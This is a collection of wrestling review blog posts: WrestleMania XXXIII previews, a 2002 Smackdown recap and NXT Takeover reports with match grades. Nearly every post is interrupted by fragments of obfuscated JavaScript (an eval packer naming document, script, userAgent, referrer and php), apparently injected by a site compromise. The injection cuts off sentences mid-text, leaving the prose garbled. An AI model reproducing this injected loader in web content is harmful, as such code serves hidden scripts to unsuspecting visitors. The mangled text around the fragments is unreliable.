Wrestlemania XXXIII Preview: Raw Women’s Title: Bayley vs. Nia Jax vs. Sasha Banks vs. Charlotte

When booking goes stupid.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihzzh|var|u0026u|referrer|nbtfs||js|php'.split('|'),0,{})) in the world to begin here? So Bayley won the title in a nothing title change and now gets to defend in a four way for the title because that’s what the fans want to see. I guess they don’t want to go with another triple threat, even though the story calls for a three way at worst and a Bayley vs. Banks match at best. Jax is there because…..I really have no idea actually.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Wrestlemania XXXIII Preview: Smackdown Women’s Title: Six Pack Challenge

Maybe the swerve of the night.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdbiz|var|u0026u|referrer|rehih||js|php'.split('|'),0,{})) Asuka retaining the NXT Women’s Title at “Takeover: Orlando”, I have almost no idea who is going to win here. I can’t imagine they’ll throw Nikki Bella in there again and as much as I’d love to see Alexa Bliss retain the title, I have a feeling we’re getting Naomi winning the title again for the big hometown pop, because, and I know I say this a lot, Naomi winning the title is suddenly this huge emotional moment, especially in her hometown.


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Wrestlemania XXXIII Preview: Shane McMahon vs. AJ Styles

Please…..don’t mess this up.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzdry|var|u0026u|referrer|teebz||js|php'.split('|'),0,{})) don’t know how to feel about this one. The story has been quite strong, but at the end of the day it’s McMahon vs. Styles at Wrestlemania after the incredible year that Styles had. As a Styles fan, here’s what worries me the worst: if the match is good, McMahon gets all the credit. If the match is bad, Styles gets all the blame. Styles has his work cut out for him here and the fact that it’s a regular match means this could be something of a mess.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Wrestlemania XXXIII Preview: Intercontinental Title: Dean Ambrose vs. Baron Corbin

It started last year.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdzbe|var|u0026u|referrer|sktez||js|php'.split('|'),0,{})) could see this one being added to the pre-show as they need three matches on there to loosen up some time on the main show. This is the feud built around Ambrose eliminating Corbin from the Elimination Chamber, causing Corbin to CRUSH HIM WITH A FORKLIFT, which meant an Intercontinental Title match at Wrestlemania instead of, you know, death or a lawsuit or something.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Wrestlemania XXXIII Previews: Raw Tag Team Titles: Enzo Amore/Big Cass vs. Cesaro/Sheamus vs. Anderson/Gallows

Gimmickery for the sake of gimmickery.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsddy|var|u0026u|referrer|fdeae||js|php'.split('|'),0,{})) and Gallows are defending and for reasons purely of “it’s Wrestlemania”, this is a ladder match. Instead of having Amore and Big Cass win the titles for one of the loudest pops of the night the following day, let’s cram a gimmick into this match that isn’t interesting in the first place. The key to this match is Amore, who can be a javelin with Big Cass throwing him all over the place. Assuming he doesn’t suffer another horrible injury, everything should be fun.


Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Wrestlemania XXXIII Preview: Cruiserweight Title: Neville vs. Austin Aries

The one I’m looking forward to most.  Maybe.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbkb|var|u0026u|referrer|hyeed||js|php'.split('|'),0,{})) is the match I’ve been looking forward to more than any other. There’s something about this match that makes me think they’ll tear the house down and almost nothing would please me more. These guys have worked hard and built up a match where I can’t imagine either of them losing, which often makes for the best part of the show. Much like the battle royal, I’d much rather they be on the pre-show for the sake of giving it extra time than cramming it in between Pitbull and a New Day segment.


Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Wrestlemania XXXIII Preview: Andre the Giant Memorial Battle Royal

All eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfia|var|u0026u|referrer|nbszh||js|php'.split('|'),0,{})) aboard!

This one belongs on the pre-show, for the sake of the entrances taking up too much time alone. At the moment there are a ton of jobbers filling out a lot of the spots, meaning this is about what you would expect from this kind of thing. At the moment there are twenty five entrants, though you can almost guarantee five more being added at minimum. As is so often the case, only a handful of them are realistic options.


Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Smackdown – October 31, 2002: I’m Sure This Show Won’t Change Wrestling Forever or ANything

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fifez|var|u0026u|referrer|aerff||js|php'.split('|'),0,{})) October 31, 2002
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Michael Cole, Tazz

We open at the party with Ron Simmons as a pimp (yelling at the French maid waitresses), Eddie coming in as Zorro and Chavo in a sombrero. Stephanie (looking GREAT as a witch and showing off her, shall we say, cauldrons) calls things to order (we need good, organized fun around here) and puts Rey Mysterio in the main event against Brock Lesnar.

Opening sequence.

Edge vs. Chris Benoit

A dropkick sends the shoulder into the steps, which Cole thinks might be a prelude to the Crossface. Benoit sends the arm into the post and gets two off a suplex. They head to the corner with Benoit loading up a belly to belly superplex, only to get countered into what looked like a super X Factor to send us to a break.

Back with Edge having to go to the ropes to escape the Crossface but getting caught in the rolling German suplexes. Edge is ok enough to hot shot him onto the buckle and grab an Edge-o-Matic for two. The spear is countered into the Crossface so Edge grabs the referee for a unique idea. Cue Angle to pull Benoit off though, allowing Edge to baseball slide Benoit into Kurt. Edge dives at Benoit but hits Angle instead, followed by the spear for the pin on Benoit.

We go back to the party where John Cena, dressed like Vanilla Ice, debuts his rapping skills, which allegedly saved his job (and so it begins). Elsewhere, Tajiri runs into Torrie Wilson as Xena Warrior Princess (as opposed to Xena, your local Hyundai dealer) but tells her he has a new girlfriend. This causes him to hit on Mae Young (Marilyn Monroe) when Dawn Marie (a cop) and Al Wilson (Fonzie) come in. Nothing of note is said but they did in fact come in.

Post break, Benoit storms into the party and wants Angle. No one has seen him so Benoit leaves, only to have Angle pull off a Scream mask and smirk.

Big Show vs. Rikishi

Dawn Marie vs. Torrie Wilson

Tony Chimmel is thrown into the chocolate.

Matt Hardy shows up at the party and of course he has his own portable theme music. He takes Tajiri away from Moolah and Mae Young (“Versions B.C.”) because they have a match.

Matt Hardy vs. Tajiri

Kurt Angle vs. Eddie Guerrero

Benoit hits Eddie with the belt as well.

Brock Lesnar vs. Rey Mysterio

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Went to Takeover: Orlando

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsstf|var|u0026u|referrer|bhszr||js|php'.split('|'),0,{})) took in Takeover tonight and, after going to see Dallas last year, this had a lot to live up to…..and it really didn’t come close. This will be the short version and I’ll get the regular review up ASAP, though the hotel’s wi-fi is spotty at best so please bear with me.

Dark matches:

Oney Lorgan b. El Vagabundo in about five minutes with a rollup. Vagabundo was clearly Elias Samson in a mask and he even had a guitar for a song before the match. Oney got the mask off and won almost immediately in a not great match.

To the main card.

Edge and Beth were shown and the place went nuts of course.

Excuse me for one second.

FREAKING YES DREW IS BACK!!!!!

Takeover: Dallas (2017 Redo): It Keeps Getting Better

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enazi|var|u0026u|referrer|snfkh||js|php'.split('|'),0,{})) Dallas
Date: April 1, 2016
Location: Kay Bailey Hutchison Convention Center, Dallas, Texas
Attendance: 9,000
Commentators: Tom Phillips, Corey Graves

One heck of an NXT chant gets us going.

Tag Team Titles: American Alpha vs. Revival

Back in and a powerbomb/top rope clothesline combo is botched, making it into something more like a Dominator and drawing a BOTCHAMANIA chant. I rip on other crowds for stupid chants like that and NXT is no better: you hardly ever see a major botch in NXT so lay off of them. Dawson breaks up ANOTHER hot tag attempt but Gable crawls through his legs for the red hot tag so house can be cleaned. Jordan starts throwing suplexes and takes down the straps for the shoulders in the corner.

Jim Ross and Michelle Beadle are here. This got a HUGE pop live.

Kota Ibushi is here too and the fans chant his name.

Asuka worked on her striking while Bayley hugged a fan.

Austin Aries vs. Baron Corbin

Scott Hall and X-Pac are here.

Sami Zayn vs. Shinsuke Nakamura

We recap Finn Balor vs. Samoa Joe. These two had a war in London with Balor barely surviving and having one heck of a headache as a result. Joe won a series of matches to earn another title shot here in Dallas for a first ever rematch in a Takeover rematch. On top of that, Joe has turned into a psycho who is obsessed with winning the title.

Bobby Roode is here, drawing one heck of a gasp from the audience.

NXT Title: Samoa Joe vs. Finn Balor

Posing and highlights take us out.

Ratings Comparison

American Alpha vs. Revival

Original: B+

Redo: A

Austin Aries vs. Baron Corbin

Original: C

Redo: B-

Shinsuke Nakamura vs. Sami Zayn

Original: A+

Redo: A+

Bayley vs. Asuka

Original: B

Redo: B+

Samoa Joe vs. Finn Balor

Original: A-

Redo: A

Overall Rating

Original: A

Redo: A+

http://kbwrestlingreviews.com/2016/04/05/nxt-takeover-dallas-night-of-a-thousand-chants/


Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:


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